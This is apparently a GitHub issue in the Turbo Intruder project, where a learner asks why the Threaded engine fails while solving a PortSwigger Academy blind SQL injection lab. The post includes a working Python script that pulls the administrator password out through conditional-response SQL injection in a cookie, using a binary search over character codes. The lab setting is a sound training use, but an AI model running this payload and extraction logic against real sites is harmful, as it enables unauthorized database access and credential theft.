Skip to content

Threaded Engine Connection Issues #133

Description

@Stoopidd

Hello,

I am working on learning TI with the portswigger academy labs and have run into a strange issue regarding threaded connections. During the lab: Blind SQL injection with conditional responses, I wrote a TI script that uses the boolean search algorithm to enumerate the password in a DB and when I run it using the Engine.BURP everything works fine. However, when I switch to the Threaded engine I see a lot of retries and failures. I have tried tuning the RPC and CCR, Pipeline on/off from everywhere from 1 each to multiple. It seems the more threads I have the more likely I am to have a retry/ failure.

Here are the errors I am getting when running my script with multiple RPC and CCR:
Output (Happens every retry):
Autorecovering error after 1 answered requests. After '8/119' during '8/119'
Errors (Happens every fail):
Ignoring error: java.net.ConnectException: No response

OS/Burp/Java Info: Running most recent Kali Linux via VM and the most up to date Burp CE version (2023.6.2), java.version 17.0.6. I can provide full diagnostics too if that is necessary.

My first thought was that maybe it was an issue with my script so I ran the debugger. Everything was fine on Threaded when I used 1 RPC and 1 CCR, however once I increased those numbers and made ~20 requests then I started getting null responses.

Another thought is that this is caused by a poor connection to the labs, I tried to see if I could increase the timeout variable, but that didnt seem to have any effect. I haven't tried running this on something that is locally hosted so if this could also be the case.

As I'm still learning the ins and outs of TI I may have missed a setting that needs to be set when using multiple threads, if so please let me know. I could also be misunderstanding how TI uses threads and where they're initiated which is causing issues with my script as well. I will provide my script to help replicate the errors. Its extremely possible this is user error vs anything wrong with Turbo, if so let me know and I'll delete.

Thanks for your help!

# Query:  xyz' OR ascii(SUBSTRING((SELECT password FROM users where username = 'administrator'),%s,1)) = '%s
def queueRequests(target, wordlists):
    global password
    password = ['_'] * 20
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=5,
                           pipeline=True,
                           engine=Engine.THREADED
                           )
    for i in range(1,21):
        lbl = "{}:{}".format(i, chr(80))
        engine.queue(target.req, [i,80], label=lbl)


def handleResponse(req, interesting):
    headers = {
        "Host": "0a1f005803400471816c115600a30034.web-security-academy.net",
        "Cookie": "TrackingId=xyz' OR ascii(SUBSTRING((SELECT password FROM users where username = 'administrator'),%s,1)) > '%s; session=STSMBZ8wmm9kO0XMciIFoiAPpg8O8NgK",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Referer": "0a1f005803400471816c115600a30034.web-security-academy.net",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Te": "trailers"
    }
    eqreq = 'GET /filter?category=Gifts HTTP/1.1\r\n'
    for header, value in headers.items():
        eqreq+='{}: {}\r\n'.format(header, value)
    eqreq += '\r\n'
    
    if ':' in req.label:
        if 'Welcome back!' in req.response:
            table.add(req)
            print("The Character at position %s is: %s" % (str(req.words[0]), str(req.words[1])))
            password[int(req.words[0])-1] = chr(int(req.words[1]))
            pwstring = ''.join(password)
            print(pwstring)
            return None
        
        else:
            req.engine.queue(eqreq, [req.words[0], req.words[1]], label="32/128")
            return None
   
    else:
        low, high = map(int, req.label.split('/'))
        if 'Welcome back!' in req.response and low < high:
            #table.add(req)
            low = int(req.words[1]) + 1
            mid = low + (high -low) // 2
            newlabel = '/'.join([str(low), str(high)])
            req.engine.queue(eqreq, [req.words[0], mid], label=newlabel)
            return None
        if 'Welcome back!' not in req.response and low < high:
            #table.add(req)
            high = int(req.words[1]) - 1
            mid = low + (high - low) // 2
            newlabel = '/'.join([str(low), str(high)])
            req.engine.queue(eqreq, [req.words[0], mid], label=newlabel)
            return None
        else:
            lbl = "{}:{}".format(req.words[0], chr(int(req.words[1])))
            req.engine.queue(target.req, [req.words[0], low], label=lbl)
            return None

Domain would be: https://*.web-security-academy.net where the * is the lab instance. You will need to update the host in the headers in the script and the endpoint depending on the lab environment.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions